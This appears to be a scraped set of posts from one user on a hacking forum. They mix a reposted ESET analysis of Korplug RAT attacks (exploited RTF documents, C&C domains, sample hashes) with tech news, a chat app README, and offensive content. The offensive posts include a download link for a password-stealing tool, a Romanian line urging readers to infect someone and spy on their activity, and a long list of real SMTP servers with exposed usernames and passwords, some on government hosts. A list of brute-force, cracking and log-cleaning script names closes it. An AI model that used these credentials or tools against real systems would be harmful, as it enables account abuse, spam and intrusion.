[td]1F726E94B90034E7ABD148FE31EBA08774D1506F[/td] [/tr] [/table] Some of the above-mentioned files also contained decoy documents: In all of the cases, three binary files were dropped (apart from decoy documents) that led to the Korplug trojan being loading into memory. exe – a legitimate executable with a Kaspersky digital signature that would load a DLL with a specific file name dll – a small DLL loader that would pass execution to the Korplug raw binary code dll.avp – raw Korplug binary The Korplug RAT is known to use this side-loading trick by abusing legitimate digitally signed executables and is a way to stay under the radar, since a trusted application with a valid signature among startup items is less likely to raise suspicion. The maliciously crafted documents are RTF files that successfully exploit the CVE-2012-0158 vulnerability in Microsoft Word. The image below shows the beginning of the CVE-2012-0158 shellcode in ASCII encoding within the document (the opcodes 60, 55, 8bec disassemble to pusha; push ebp; mov ebp, esp). Interestingly, though, the documents also contain the newer CVE-2014-1761 exploit that was extensively used in targeted attacks carried out by a number other malware families this year (including BlackEnergy, Sednit, MiniDuke, and others). However, this exploit is not implemented correctly due to a wrong file offset in the 1st stage shellcode. Below we see the disassembly of the 1st stage shellcode where it checks the presence of the tag “p!11” marking the beginning of the 2nd stage shellcode and loads it into memory. Even though the tag and 2nd stage shellcode is present in the RTF, it’s at a different offset, and thus never is loaded. Sophos’ Gabor Szappanos gives a possible explanation how these malformed samples may have come into existence. ESET LiveGrid telemetry indicates that the attacks against these targets have been going on since at least June 2014 and continue through today. We were able to pinpoint the targets to residents of the following countries: Afghanistan Tajikistan Russia Kyrgyzstan Kazakhstan From the topics of the files used to spread the malware, as well as from the affected targets, it appears that the attackers are interested in gathering intelligence related to Afghan, Tajik and Russian military and diplomatic subjects. Interestingly, most of the affected victims have another thing in common – a number of other RATs, file stealing trojans or keyloggers were detected on their systems on top of the Korplug RAT detection. One of these ‘alternative RATs’ was connecting to a domain also used by the Korplug samples. Since the functionality of these tools was partly overlapping with that of Korplug, it left us wondering whether the attackers were just experimenting with different RATs or were they supplementing some functionality that they were unable to accomplish. Additional information about two malware families that were most often found accompanying Korplug infections is given below. Alternative Malware #1: DarkStRat A curious Remote Access Trojan, as research points to a Chinese connection but the commands it listens to are in Spanish (translation in English): CERRAR (close) DESINSTALAR (uninstall) SERVIDOR (server) INFO MAININFO PING REBOOT POWEROFF PROC KILLPROC VERUNIDADES (see units) LISTARARCHIVOS (list files) EXEC DELFILE DELFOLDER RENAME MKDIR CAMBIOID (change ID) GETFILE/SENDFILE/RESUMETRANSFER SHELL SERVICIOSLISTAR (list service) INICIARSERVICIO (start service) DETENERSERVICIO (stop service) BORRARSERVICIO (erase service) INSTALARSERVICIO (install service) The malware can manage processes and services on the infected machine, transfer files to and from the C&C server, run shell commands, and so on. It is written in Delphi and connects to www.dicemention.com. Some samples contain a digital signature by “Nanning weiwu Technology co.,ltd”. Alternative Malware #2: File Stealer This malware, written in C, and contains several functions for harvesting files off the victim’s hard drive according to criteria set in the configuration file. Apart from doing a recursive sweep of all logical fixed and remote drives, it also continually monitors any attached removable media or network shares by listening to DBT_DEVICEARRIVAL events. In addition to collecting files, the malware attempts to gather saved passwords, history of visited URLs, account information and proxy information from the following applications: Microsoft Messenger Microsoft Outlook Microsoft Internet Explorer Mozilla Firefox The C&C domains used by this malware are: newvinta.com worksware.net Some samples of this file stealer detected in these campaigns also contain the signature by “Nanning weiwu Technology co.,ltd” – another indicator that the infections are related. List of SHA1 hashes: Korplug: 5DFA79EB89B3A8DDBC55252BD330D04D285F9189 095550E3F0E5D24A59ADD9390E6E17120039355E 5D760403108BDCDCE5C22403387E89EDC2694860 05BFE122F207DF7806EB5E4CE69D3AEC26D74190 548577598A670FFD7770F01B8C8EEFF853C222C7 530D26A9BEEDCCED0C36C54C1BF3CDA28D2B6E62 F6CB6DB20AA8F17769095042790AEB60EECD58B0 EF17B7EC3111949CBDBDEB5E0E15BD2C6E90358F 17CA3BBDDEF164E6493F32C952002E34C55A74F2 973EA910EA3734E45FDE304F20AB6CF067456551 47D78FBFB2EFC3AB9DDC653A0F03D560D972BF67 0B5A7E49987EF2C320864CF205B7048F7032300D E81E0F416752B336396294D24E639AE86D9C6BAA E930D3A2E6B2FFDC7052D7E18F51BD5A765BDB90 Alternative Malware #1: FDD41EB3CBB631F38AC415347E25926E3E3F09B6 457F4FFA2FE1CACFEA53F8F5FF72C3FA61939CCD 5B6D654EB16FC84A212ACF7D5A05A8E8A642CE20 7D59B19BD56E1D2C742C39A2ABA9AC34F6BC58D4 D7D130B8CC9BEA51143F28820F08068521763494 01B4B92D5839ECF3130F5C69652295FE4F2DA0C5 02C38EC1C67098E1F6854D1125D3AED6268540DE Alternative Malware #2: 3A7FB6E819EEC52111693219E604239BD25629E9 BF77D0BA7F3E60B45BD0801979B12BEA703B227B 55EF67AFA2EC2F260B046A901868C48A76BC7B72 A29F64CD7B78E51D0C9FDFBDCBC57CED43A157B2 34754E8B410C9480E1ADFB31A4AA72419056B622 17A2F18C9CCAAA714FD31BE2DE0BC62B2C310D8F 6D99ACEA8323B8797560F7284607DB08ECA616D8 1884A05409C7EF877E0E1AAAEC6BB9D59E065D7C 1FC6FB0D35DCD0517C82ADAEF1A85FFE2AFAB4EE 5860C99E5065A414C91F51B9E8B779D10F40ADC4 7950D5B57FA651CA6FA9180E39B6E8CC1E65B746 Research by: Anton Cherepanov Via Korplug military targeted attacks: Afghanistan & Tajikistan
  8. Fi8sVrs
    Remote terminal application that allows roaming, supports intermittent connectivity, and provides intelligent local echo and line editing of user keystrokes. Mosh is a replacement for SSH. It's more robust and responsive, especially over Wi-Fi, cellular, and long-distance links. Mosh is free software, available for GNU/Linux, FreeBSD, Solaris, Mac OS X, and Android. Getting Mosh Official
  9. Fi8sVrs
    Let’s Encrypt to give HTTPS-everywhere a boost in 2015 A new certificate authority – backed by big names on the internet including Mozilla, Cisco and Akamai – plans to offer SSL certs at no charge starting next year. The move will make it even more easier for people to run encrypted, secure HTTPS websites. Let’s Encrypt aims to provide an easier way to obtain and use a digital cryptographic certificates (TLS) to secure web site, as its pitch explains: If successful, the organisation would help push the broader encryption by default and the TLS Everywhere movement, which is in large part a response by the tech industry to revelations from Edward Snowden about mass surveillance. Google's recent decision to begin giving secure (https) sites a higher search engine ranking is another factor pushing an all encrypted web. The latest web protocols (such as HTTP/2 and Google's SPDY) are TLS-based and this is acting as another driver. Mozilla, Cisco Systems, Akamai Technologies, Electronic Frontier Foundation, IdenTrust and researchers at the University of Michigan are working through the Internet Security Research Group to deliver the infrastructure to deliver the service in Q2 2015. "The automated issuance and renewal protocol will be an open standard and as much of the software as possible will be open source," Let’s Encrypt said in a blog post. When Let’s Encrypt launches in summer 2015, "enabling HTTPS for your site will be as easy as installing a small piece of certificate management software on the server", the pitch runs. The new initiative dovetails with CloudFlare's Universal SSL program, a service that encrypts and secures web traffic between visitors and websites cached by CloudFlare's content delivery network. This was previously a paid-for feature but became free of charge in September. CloudFlare boss Matthew Prince recently told El Reg how he had to persuade certificate authorities that low grade certificates were eventually going to be free to persuade them to partner with it in delivering the service. Let’s Encrypt is evidence that this message has sunk in and that other organisations are on board to build an encrypted web. ® Via Mozilla, EFF, Cisco back free-as-in-FREE-BEER SSL cert authority • The Register
  10. Fi8sVrs
    UFR Stealer - software to steal passwords Download http://vazonez.com/downloads/software/UFR_Stealer.zip full description - How easily USteal my passwords - Microsoft Malware Protection Center - Site Home - TechNet Blogs Via opensc
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  11. Fi8sVrs
    Rulati in masina virtuala! https://www.virustotal.com/ro/file/0b9e062e520c94569f6218dfbbbba647f749e367e0b763298b 8876244cce9f71/analysis/1416391932/ https://anubis.iseclab.org/?action=result&task_id=1b739459a24c1fff431ef80b9f72fb2ec&format=html Download: http://dfiles.eu/files/vcxdujq82 pwd: www.spy-soft.net
  12. Fi8sVrs

    free SMTPs

    Fi8sVrs replied to prussic's topic in Cosul de gunoi

    91.194.73.42:25 | no auth | SSL: False | Hostname: colo42.onetel73.onetelecom.od.ua | Inbox: False | Blacklist: Not Listed | Time: 11.11.2014 - 17:38:36 91.209.90.254:25 | no auth | SSL: False | Hostname: pat.imexbank.com.ua | Inbox: False | Blacklist: Not Listed | Time: 11.11.2014 - 17:41:57 91.222.139.159:465 | no auth | SSL: True | Hostname: vps-5911.vps-ukraine.com.ua | Inbox: False | Blacklist: Not Listed | Time: 11.11.2014 - 19:43:48 91.225.227.4:465 | admin@akym7.com : admin | SSL: True | Hostname: akym7.com | Inbox: False | Blacklist: Listed | Time: 11.11.2014 - 19:59:36 91.234.32.94:465 | admin@agroproduct.com.ua : 123123123 | SSL: True | Hostname: client.thehost.com.ua | Inbox: False | Blacklist: Not Listed | Time: 11.11.2014 - 20:30:33 91.234.35.125:587 | no auth | SSL: True | Hostname: alexandre.rio.esp.br | Inbox: False | Blacklist: Not Listed | Time: 11.11.2014 - 21:26:58 91.234.35.128:587 | no auth | SSL: True | Hostname: maestro.novidadesbrasil.com | Inbox: False | Blacklist: Not Listed | Time: 11.11.2014 - 21:28:46 91.234.35.133:587 | no auth | SSL: True | Hostname: host1.retornoempresarial.com | Inbox: False | Blacklist: Not Listed | Time: 11.11.2014 - 21:30:38 91.234.35.130:587 | no auth | SSL: True | Hostname: mascore.eventostrade.com | Inbox: False | Blacklist: Not Listed | Time: 11.11.2014 - 21:32:31 91.234.35.132:587 | no auth | SSL: True | Hostname: douglas.jurisoft.com.br | Inbox: False | Blacklist: Not Listed | Time: 11.11.2014 - 21:34:21 91.234.35.131:587 | no auth | SSL: True | Hostname: sanio.bloco.ind.br | Inbox: False | Blacklist: Not Listed | Time: 11.11.2014 - 21:36:15 82.207.88.220:25 | no auth | SSL: False | Hostname: ns.zapgaz.zp.ua | Inbox: False | Blacklist: Not Listed | Time: 11.11.2014 - 22:04:09 77.120.255.203:25 | root@craigslist.org : qwerty | SSL: False | Hostname: ip.77.120.255.203.stat.volia.net | Inbox: False | Blacklist: Not Listed | Time: 11.11.2014 - 23:24:29 92.113.43.174:465 | no auth | SSL: True | Hostname: 174-43-113-92.pool.ukrtel.net | Inbox: False | Blacklist: Listed | Time: 11.11.2014 - 23:37:23 92.113.80.217:465 | no auth | SSL: True | Hostname: 217-80-113-92.pool.ukrtel.net | Inbox: False | Blacklist: Listed | Time: 11.11.2014 - 23:42:58 82.207.124.235:25 | no auth | SSL: False | Hostname: uafr.com.ua | Inbox: False | Blacklist: Listed | Time: 11.11.2014 - 23:46:41 92.113.92.16:25 | no auth | SSL: False | Hostname: 16-92-113-92.pool.ukrtel.net | Inbox: False | Blacklist: Listed | Time: 11.11.2014 - 23:47:35 46.201.253.181:587 | test : test | SSL: True | Hostname: 181-253-201-46.pool.ukrtel.net | Inbox: False | Blacklist: Listed | Time: 12.11.2014 - 00:24:00 88.81.252.58:25 | no auth | SSL: False | Hostname: hyrex.uceps.com.ua | Inbox: False | Blacklist: Not Listed | Time: 12.11.2014 - 00:35:01 94.230.199.103:465 | no auth | SSL: True | Hostname: 94-230-199-103.pool.ic.km.ua | Inbox: False | Blacklist: Listed | Time: 12.11.2014 - 00:52:15 77.120.104.106:25 | test@magistr-ltd.kiev.ua : test | SSL: True | Hostname: 106.104.120.77.colo.static.dc.volia.com | Inbox: False | Blacklist: Not Listed | Time: 12.11.2014 - 01:58:58 94.153.222.66:25 | no auth | SSL: False | Hostname: 94-153-222-66-gprs.kyivstar.net | Inbox: False | Blacklist: Listed | Time: 12.11.2014 - 02:03:11 93.183.226.168:25 | info@avto-shrot.com : 123456 | SSL: False | Hostname: 93-183-226-168-ststic.retail.datagroup.ua | Inbox: False | Blacklist: Listed | Time: 12.11.2014 - 03:37:05 109.108.241.74:25 | no auth | SSL: False | Hostname: cpe-109-108-241-74.enet.vn.ua | Inbox: False | Blacklist: Not Listed | Time: 12.11.2014 - 04:06:55 91.222.250.134:25 | info : 123456 | SSL: False | Hostname: mail.kharkovzem.gov.ua | Inbox: False | Blacklist: Not Listed | Time: 12.11.2014 - 05:52:23 134.249.155.76:25 | no auth | SSL: False | Hostname: 134-249-155-76-gprs.kyivstar.net | Inbox: False | Blacklist: Not Listed | Time: 12.11.2014 - 06:43:51 176.37.22.111:25 | no auth | SSL: False | Hostname: host-176-37-22-111.la.net.ua | Inbox: False | Blacklist: Not Listed | Time: 12.11.2014 - 07:49:59 176.37.33.53:25 | no auth | SSL: False | Hostname: host-176-37-33-53.la.net.ua | Inbox: False | Blacklist: Unknown | Time: 12.11.2014 - 07:59:12 176.38.167.3:587 | no auth | SSL: True | Hostname: upg.kiev.ua | Inbox: False | Blacklist: Not Listed | Time: 12.11.2014 - 09:06:44 176.111.61.153:25 | no auth | SSL: False | Hostname: pbox.stylus.com.ua | Inbox: False | Blacklist: Not Listed | Time: 12.11.2014 - 10:12:31 217.16.69.3:25 | test@integral.com.mk : 12345678 | SSL: False | Hostname: ns3.on.net.mk | Inbox: False | Blacklist: Not Listed | Time: 12.11.2014 - 10:54:35 178.20.156.50:465 | test@mgu.kiev.ua : test | SSL: True | Hostname: mgu.kiev.ua | Inbox: False | Blacklist: Listed | Time: 12.11.2014 - 11:04:34 178.159.127.221:25 | no auth | SSL: False | Hostname: mail.martin-bauer.com.ua | Inbox: False | Blacklist: Listed | Time: 12.11.2014 - 12:47:15 91.234.33.145:25 | test@bluegg33.com : test | SSL: False | Hostname: client.thehost.com.ua | Inbox: False | Blacklist: Not Listed | Time: 12.11.2014 - 13:20:00 178.95.63.219:25 | no auth | SSL: False | Hostname: 219-63-95-178.pool.ukrtel.net | Inbox: False | Blacklist: Listed | Time: 12.11.2014 - 14:15:40 221.113.207.200:25 | no auth | SSL: False | Hostname: p4200-ipbffx01marunouchi.tokyo.ocn.ne.jp | Inbox: False | Blacklist: Listed | Time: 10.11.2014 - 17:51:59 223.133.29.178:587 | test@wikipedia.org : test | SSL: True | Hostname: pdf851db2.tokynt01.ap.so-net.ne.jp | Inbox: False | Blacklist: Listed | Time: 10.11.2014 - 19:43:44 78.157.7.161:25 | no auth | SSL: False | Hostname: ctel-78-157-7-161.cabletel.com.mk | Inbox: False | Blacklist: Listed | Time: 10.11.2014 - 19:45:32 223.133.51.175:25 | no auth | SSL: False | Hostname: p8533af.tokynt01.ap.so-net.ne.jp | Inbox: False | Blacklist: Listed | Time: 10.11.2014 - 19:45:36 223.218.201.87:25 | no auth | SSL: False | Hostname: i223-218-201-87.s41.a012.ap.plala.or.jp | Inbox: False | Blacklist: Listed | Time: 10.11.2014 - 20:20:01 190.72.35.182:25 | no auth | SSL: False | Hostname: 190-72-35-182.dyn.dsl.cantv.net | Inbox: False | Blacklist: Listed | Time: 11.11.2014 - 00:50:16 190.72.181.51:25 | no auth | SSL: False | Hostname: 190-72-181-51.dyn.dsl.cantv.net | Inbox: True | Blacklist: Listed | Time: 11.11.2014 - 00:57:55 190.79.142.102:465 | info@craigslist.org : 1234567 | SSL: True | Hostname: 190-79-142-102.dyn.dsl.cantv.net | Inbox: False | Blacklist: Listed | Time: 11.11.2014 - 01:47:08 200.35.109.126:25 | no auth | SSL: False | Hostname: 200-35-109-126.static.telcel.net.ve | Inbox: False | Blacklist: Listed | Time: 11.11.2014 - 02:18:43 200.11.240.77:25 | no auth | SSL: False | Hostname: vsmx01.vtelca.gob.ve | Inbox: False | Blacklist: Listed | Time: 11.11.2014 - 03:06:49 200.11.241.233:25 | no auth | SSL: False | Hostname: fortimail.piemca.com | Inbox: False | Blacklist: Listed | Time: 11.11.2014 - 03:07:54 190.75.74.180:25 | webmaster@veneyarna.com : 1234 | SSL: True | Hostname: 190.75-74-180.dyn.dsl.cantv.net | Inbox: True | Blacklist: Listed | Time: 11.11.2014 - 03:13:11 200.90.74.160:25 | no auth | SSL: False | Hostname: 200.90.74-160.dyn.dsl.cantv.net | Inbox: False | Blacklist: Listed | Time: 11.11.2014 - 03:26:38 201.242.57.83:25 | no auth | SSL: False | Hostname: 201-242-57-83.genericrev.cantv.net | Inbox: False | Blacklist: Listed | Time: 11.11.2014 - 03:28:53 200.109.231.217:25 | no auth | SSL: False | Hostname: credicorreo2.credicard.com.ve | Inbox: True | Blacklist: Listed | Time: 11.11.2014 - 03:35:05 84.54.112.54:25 | info@nasvyazi.uz : 1qaz2wsx | SSL: False | Hostname: mail.nasvyazi.uz | Inbox: True | Blacklist: Listed | Time: 11.11.2014 - 03:59:41 94.141.68.138:25 | no auth | SSL: False | Hostname: mail.knoc.uz | Inbox: False | Blacklist: Listed | Time: 11.11.2014 - 04:04:02 201.208.17.80:2525 | no auth | SSL: False | Hostname: 201-208-17-80.genericrev.cantv.net | Inbox: True | Blacklist: Listed | Time: 11.11.2014 - 04:37:33 89.236.204.74:25 | info@tweetprocesor.com : info | SSL: False | Hostname: 89.236.204.74.static.ip.tps.uz | Inbox: False | Blacklist: Listed | Time: 11.11.2014 - 04:51:26 91.213.31.65:25 | test : 123456 | SSL: False | Hostname: saesp.uz | Inbox: True | Blacklist: Listed | Time: 11.11.2014 - 07:31:28 31.131.140.24:25 | no auth | SSL: False | Hostname: SERV2012 | Inbox: False | Blacklist: Listed | Time: 11.11.2014 - 06:20:59 201.210.99.222:2525 | no auth | SSL: False | Hostname: 201-210-99-222.genericrev.cantv.net | Inbox: True | Blacklist: Listed | Time: 11.11.2014 - 06:27:11 201.210.246.193:25 | no auth | SSL: False | Hostname: 201-210-246-193.genericrev.cantv.net | Inbox: False | Blacklist: Listed | Time: 11.11.2014 - 06:48:11 46.35.248.160:25 | no auth | SSL: False | Hostname: 160-248-35-46.host.sevstar.net | Inbox: False | Blacklist: Listed | Time: 11.11.2014 - 07:27:17 46.174.163.23:465 | no auth | SSL: True | Hostname: levchsyrec.46-174-163-23.iptrans.net | Inbox: False | Blacklist: Listed | Time: 11.11.2014 - 08:40:05 62.80.169.100:465 | no auth | SSL: True | Hostname: mx2.udacha.ua | Inbox: True | Blacklist: Listed | Time: 11.11.2014 - 09:32:44 62.80.181.107:25 | no auth | SSL: False | Hostname: cpl.com.ua | Inbox: False | Blacklist: Listed | Time: 11.11.2014 - 09:38:49 78.25.32.252:25 | no auth | SSL: False | Hostname: 78-25-32-252.static.vega-ua.net | Inbox: False | Blacklist: Listed | Time: 11.11.2014 - 10:52:10 78.159.40.39:465 | test@my.kiev.ua : test | SSL: True | Hostname: home.my.kiev.ua | Inbox: True | Blacklist: Listed | Time: 11.11.2014 - 11:15:46 83.170.241.130:25 | no auth | SSL: False | Hostname: ll-130.132.162.89.kv.sovam.net.ua | Inbox: False | Blacklist: Listed | Time: 11.11.2014 - 12:49:10 85.198.135.146:587 | no auth | SSL: True | Hostname: 135-146.gpss.dp.ua | Inbox: True | Blacklist: Listed | Time: 11.11.2014 - 12:58:59 82.117.232.220:25 | no auth | SSL: False | Hostname: trialia.com.ua | Inbox: True | Blacklist: Listed | Time: 11.11.2014 - 13:01:38 85.238.105.160:25 | no auth | SSL: False | Hostname: 85-238-105-160.client-ip.tenet.odessa.ua | Inbox: False | Blacklist: Listed | Time: 11.11.2014 - 13:07:40 77.120.114.52:25 | test@najdem.com : test | SSL: False | Hostname: 52.114.120.77.colo.static.dc.volia.com | Inbox: False | Blacklist: Listed | Time: 11.11.2014 - 13:12:55 77.222.131.63:25 | test@bizincom.com : 12345 | SSL: True | Hostname: ssdvps23.hostsila.org | Inbox: False | Blacklist: Listed | Time: 11.11.2014 - 14:20:15 77.121.201.93:465 | no auth | SSL: True | Hostname: luaz.routec.net | Inbox: True | Blacklist: Listed | Time: 11.11.2014 - 15:23:09 91.197.132.4:465 | no auth | SSL: True | Hostname: mail.crimean-tele.com.ua | Inbox: True | Blacklist: Listed | Time: 11.11.2014 - 15:57:25 80.254.14.70:25 | office@lanterra.net.ua : 12345 | SSL: False | Hostname: relay.lanterra.net.ua | Inbox: True | Blacklist: Listed | Time: 11.11.2014 - 16:22:11 91.202.135.114:465 | no auth | SSL: True | Hostname: 135.114.pool.seti.kr.ua | Inbox: False | Blacklist: Listed | Time: 11.11.2014 - 16:50:35 inbox 81.30.164.94:25 | admin@grosh.vin.ua : 12345 | SSL: False | Hostname: argon.vin.ua | Inbox: True | Blacklist: Listed | Time: 11.11.2014 - 18:53:15 91.222.136.185:25 | test@svitstyle.com.ua : 1q2w3e | SSL: True | Hostname: d122.default-host.net | Inbox: True | Blacklist: Listed | Time: 11.11.2014 - 19:16:20 219.166.0.194:25 | admin : master | SSL: False | Hostname: ns.sankyoprocess.co.jp | Inbox: True | Blacklist: Listed | Time: 11.11.2014 - 20:40:22 91.239.232.48:465 | test@dakine.kiev.ua : 121212 | SSL: True | Hostname: dakine.kiev.ua | Inbox: True | Blacklist: Listed | Time: 11.11.2014 - 21:29:08 82.207.59.142:25 | no auth | SSL: False | Hostname: tax.kherson.ua | Inbox: True | Blacklist: Listed | Time: 11.11.2014 - 21:35:46 200.109.230.179:465 | operator : 123456 | SSL: True | Hostname: correo.miranda.gob.ve | Inbox: True | Blacklist: Listed | Time: 11.11.2014 - 21:50:55 82.207.116.68:25 | admin@gmc.uzhgorod.ua : qwertyuiop | SSL: False | Hostname: 68-116-207-82.ip.ukrtel.net | Inbox: True | Blacklist: Listed | Time: 12.11.2014 - 00:19:03 88.81.235.222:25 | no auth | SSL: False | Hostname: router.lombard-mast.com.ua | Inbox: True | Blacklist: Listed | Time: 12.11.2014 - 00:20:54 95.133.56.232:25 | no auth | SSL: False | Hostname: 232-56-133-95.pool.ukrtel.net | Inbox: True | Blacklist: Listed | Time: 12.11.2014 - 03:04:50 82.207.41.250:25 | office@rekord.rv.ua : 1q2w3e4r | SSL: False | Hostname: 250-41-207-82.ip.ukrtel.net | Inbox: True | Blacklist: Listed | Time: 12.11.2014 - 03:17:24 31.28.162.160:25 | office@tonnysnack.ru : office | SSL: False | Hostname: ns5.webspace.in.ua | Inbox: True | Blacklist: Listed | Time: 12.11.2014 - 12:10:08 216.255.238.21:25 | no auth | SSL: False | Hostname: d8ffee021.siella.jp | Inbox: False | Blacklist: Not Listed | Time: 09.11.2014 - 21:21:48 210.238.188.204:25 | test@nexon.com : test | SSL: False | Hostname: mgw1.maezawa.co.jp | Inbox: False | Blacklist: Not Listed | Time: 10.11.2014 - 08:02:23 210.238.205.147:25 | no auth | SSL: False | Hostname: GRATEFUL | Inbox: False | Blacklist: Not Listed | Time: 09.11.2014 - 18:58:57 219.166.159.186:25 | no auth | SSL: False | Hostname: sv01.city.tomigusuku.lg.jp | Inbox: False | Blacklist: Not Listed | Time: 10.11.2014 - 16:54:49 220.156.16.28:25 | no auth | SSL: False | Hostname: stm10-p28.flets.hi-ho.ne.jp | Inbox: False | Blacklist: Not Listed | Time: 10.11.2014 - 17:17:21 220.156.4.209:25 | no auth | SSL: False | Hostname: tky15-p209.flets.hi-ho.ne.jp | Inbox: False | Blacklist: Not Listed | Time: 10.11.2014 - 17:19:55 220.156.9.165:25 | no auth | SSL: False | Hostname: tky16-p165.flets.hi-ho.ne.jp | Inbox: False | Blacklist: Not Listed | Time: 10.11.2014 - 17:21:40 221.117.41.59:25 | no auth | SSL: False | Hostname: 221x117x41x59.ap221.ftth.ucom.ne.jp | Inbox: False | Blacklist: Not Listed | Time: 10.11.2014 - 17:59:32 221.117.41.58:25 | no auth | SSL: False | Hostname: 221x117x41x58.ap221.ftth.ucom.ne.jp | Inbox: False | Blacklist: Not Listed | Time: 10.11.2014 - 18:01:25 222.158.244.59:25 | no auth | SSL: False | Hostname: featkyo001059.fea.adsl.ppp.infoweb.ne.jp | Inbox: False | Blacklist: Not Listed | Time: 10.11.2014 - 18:58:24 219.94.157.209:587 | sales@bond-p.co.jp : 1234 | SSL: True | Hostname: 209.157.94.219.static.www118b.sakura.ne.jp | Inbox: False | Blacklist: Not Listed | Time: 10.11.2014 - 19:43:55 80.77.155.65:25 | no auth | SSL: False | Hostname: smtp.elem.com.mk | Inbox: False | Blacklist: Not Listed | Time: 10.11.2014 - 20:04:33 82.113.17.230:25 | no auth | SSL: False | Hostname: 230.17.113.82.monaco-telecom.mc | Inbox: False | Blacklist: Not Listed | Time: 10.11.2014 - 21:15:29 202.123.28.178:25 | no auth | SSL: False | Hostname: d178.intnet.mu | Inbox: False | Blacklist: Not Listed | Time: 10.11.2014 - 21:16:39 186.167.4.158:25 | no auth | SSL: False | Hostname: SRVFRE01 | Inbox: False | Blacklist: Not Listed | Time: 11.11.2014 - 00:50:22 200.35.2.166:25 | no auth | SSL: False | Hostname: CDVOCCMAIL02 | Inbox: False | Blacklist: Not Listed | Time: 11.11.2014 - 02:09:50 200.35.2.148:25 | no auth | SSL: False | Hostname: CDVOCCBES01 | Inbox: False | Blacklist: Not Listed | Time: 11.11.2014 - 02:11:34 200.35.81.91:25 | no auth | SSL: False | Hostname: 200-35-81-91.static.telcel.net.ve | Inbox: False | Blacklist: Not Listed | Time: 11.11.2014 - 02:13:05 200.44.127.130:25 | no auth | SSL: False | Hostname: cdv-trm-bar.datacenter.cha.cantv.net | Inbox: False | Blacklist: Not Listed | Time: 11.11.2014 - 02:43:31 77.222.131.9:25 | test@csamaadi.com : 123456 | SSL: False | Hostname: cp.serverstar.com.ua | Inbox: False | Blacklist: Not Listed | Time: 11.11.2014 - 14:16:10 89.184.65.66:465 | no auth | SSL: True | Hostname: www.banner.kiev.ua | Inbox: False | Blacklist: Not Listed | Time: 11.11.2014 - 14:33:22 219.163.167.3:25 | no auth | SSL: False | Hostname: nkfhsmtp.nkfh.or.jp | Inbox: False | Blacklist: Not Listed | Time: 11.11.2014 - 14:43:29 80.77.155.66:25 | test : 1234567 | SSL: False | Hostname: webmail.elem.com.mk | Inbox: False | Blacklist: Not Listed | Time: 11.11.2014 - 16:15:49 85.90.192.210:25 | no auth | SSL: False | Hostname: interswiaz.kharkov.ua | Inbox: False | Blacklist: Not Listed | Time: 11.11.2014 - 16:50:42
  13. Fi8sVrs
    README: REQUIREMENT: JDK at least version 8 GCC (GNU C Compiler with standard libraries) Make utility (For Compilation of both java and c program) Operating System of Server: Unix / Linux Operating System of client-user: ANY OS that has at least JRE or JDK 8 You can send a chat invitation to anyone by e-mail and attaching the generated .jar java executable (See next instructions). Your client will need at least java version 8. INSTALL: To install javac,java and jar on Unix / Linux: Download jdk, extract jdk and issue the following commands as root: ln -s /path/to/jdk/bin/java /usr/bin/java ln -s /path/to/jdk/bin/jar /usr/bin/jar ln -s /path/to/jdk/bin/javac /usr/bin/javac Install "gcc" and "make" tool using your package manager. Compile and run Server and Client: make ./chatd java -jar chatclient.jar Send the "chatclient.jar" executable to anyone who have at least JRE 8 and tell them to connect where you executed "./chatd". If you want to communicate securely (if you really want to make sure no-body is reading your content) then tell your peer through other secured means (like hard-copy paper or pgp / email) to use the password of your choice and enter it on the password field of the User Interface before sending any message. EOF
  14. Fi8sVrs
    Get the Share Button - ShareThis
  15. Fi8sVrs
    sau cu Java Drive By http://www.hackforums.net/showthread.php?tid=1920615
  16. Fi8sVrs
    îl infectezi ?i îi spionezi toat? activitatea
  17. Fi8sVrs
    0x150 v2.1.py Communication/ Crypter.py DNSRPCscanner.py EFSscan.py P-Web Vuln Scabber(XSS,SQL,etc).py PyLogcleaner.tar.gz Scan.py XSSscan.py XSSscan_v1.1.py XSSscan_v1.2.py accbrute.py adminscan.py alphadbgen.py alphalowcrack.py asm2shell.py b2evobf.py bannerscan.py base64tohex.py boascan.py bulletftp.py cPanelbrute.py cesarscan.py cgiscan.py cgiscan1.1.py cgiscan1.2.py cgiscan1.3.py checkersum.py checksummer.py codefinder.py column_finder.py comparedb.py cw.py d3sqlfuzz.py dataext.py dbgen.py decoder.py diggbf.py dirbuster.py dirbuster2.py dirscan.py dnsbrute.py dorkscan.py dorkster.py dumpcrack.py dumpcrack1.1.py dumpcrack1.2.py dumpemail.py emailcollect.py emailcollect_v1.2.py emailcollect_v1.3.py encoder.py findip.py findmyhash.py freesms.pyw friendsterbf.py ftpanon.py ftpbrute.py ftpbrute_iprange.py ftpbrute_random.py ftpbrute_random1.0.py ftprand.py gaimextract.py getresp.py gmailbrute.py gmailpopbrute.py goog-subdomains.py goog2text.py goog2text1.1.py goog2text1.2.py goog2text1.3.py goog2text1.4.py goog_mail_mod.py googemail.py googledork.py googlelinkçek.py hash-identifier.py hashbul.py hashgen.py hashtipi.py honeypot.py hostlookup.py htcrack.py icrack.py imapbrute.py imapbrute_iprange.py imapbrute_random.py ipbanscan.py ipgen.py ipgen1.1.py iplocate.py iprange.py iptext.py lafuzz.py lfi_scanner.py lfifuzz.py lfiscan.py linkscan.py linkscan1.3.py linkscansimple.py linksysbrute.py locbrute.py logcheck.py logfind.py logfind1.1.zip logreader.py mail2text.py md5check.py md5crack.py md5crack_gui.pyw md5db.py md5dbcrack.py md5gen.py md5randcrack.py md5word.py mdaemonscan.py milarchive.py milsearch.py milupdate.py milwebappext.py modlast.py msn2text.py multiscanner.py multisearch.py mysql16.py mysql5crack.py mysql_default.py mysqlbrute.py mysqlbrute_iprange.py mysqlbrute_random.py niktolistscan.py nntpbrute.py nntpbrute_iprange.py nntpbrute_random.py nukescan.py openports.py orderby.py packext.py passext.py passgen.py phpBBbrute.py phpbbmembers.py phpbbscan.py phpbbver.py pincrack.py plaincrack.py popbrute.py popbrute_iprange.py popbrute_random.py proxytest.py pylogcleaner.py pywget.py pywget_simp.py qeqe.py randip.py randwebservscan.py relayfind.py revers_ip.py rfiex.py rfiscan.py robots.py rootbrute.py rot13.py rtgen.py sc.py scan_log.py scriptgrab.py searchdigits.py secscan.py serenbf.py sha1crack.py sha1gen.py smtpbrute.py smtpbrute_iprange.py smtpbrute_random.py snmp_brute.py sqlb3m.py sqlincra.py sqlinjectionstart.py sqlresp.py sqlscan.py sqltest.py sshbrute.py sshbrute_fork.py sshbrute_iprange.py sshbrute_random.py ssl.py ssltestmulti.py strbreak.py subcollect.py subcollect2.py subsearch.py suidchecker.py surgescan.py tabcolext.py telnetbrute.py telnetbrute_iprange.py telnetbrute_random.py 